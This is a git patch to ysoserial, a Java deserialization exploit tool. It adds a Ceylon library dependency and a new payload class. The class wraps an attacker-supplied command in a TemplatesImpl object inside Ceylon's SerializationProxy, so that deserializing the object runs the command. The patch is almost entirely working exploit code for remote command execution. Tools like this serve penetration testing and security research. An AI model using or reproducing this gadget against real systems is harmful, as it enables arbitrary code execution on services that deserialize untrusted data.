From 1902fcc9a0824c8a5c43a749d880145967babe0b Mon Sep 17 00:00:00 2001 From: supersache <42678777+supersache@users.noreply.github.com> Date: Wed, 27 Apr 2022 07:26:47 +0200 Subject: [PATCH] ceylon gadget (#173) --- pom.xml | 5 +++++ src/main/java/ysoserial/payloads/Ceylon.java | 23 ++++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Ceylon.java diff --git a/pom.xml b/pom.xml index 222920b..ee1fbc6 100644 --- a/pom.xml +++ b/pom.xml @@ -366,6 +366,11 @@ click-nodeps 2.3.0 + + org.ceylon-lang + ceylon.language + 1.3.3 + diff --git a/src/main/java/ysoserial/payloads/Ceylon.java b/src/main/java/ysoserial/payloads/Ceylon.java new file mode 100644 index 0000000..f4edfde --- /dev/null +++ b/src/main/java/ysoserial/payloads/Ceylon.java @@ -0,0 +1,23 @@ +package ysoserial.payloads; + +import com.redhat.ceylon.compiler.java.language.SerializationProxy; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; + +@Authors({ Authors.KULLRICH }) +@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) +public class Ceylon implements ObjectPayload +{ + + // + // Probably the simplest deser gadget ever ;-) + // + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); + } +}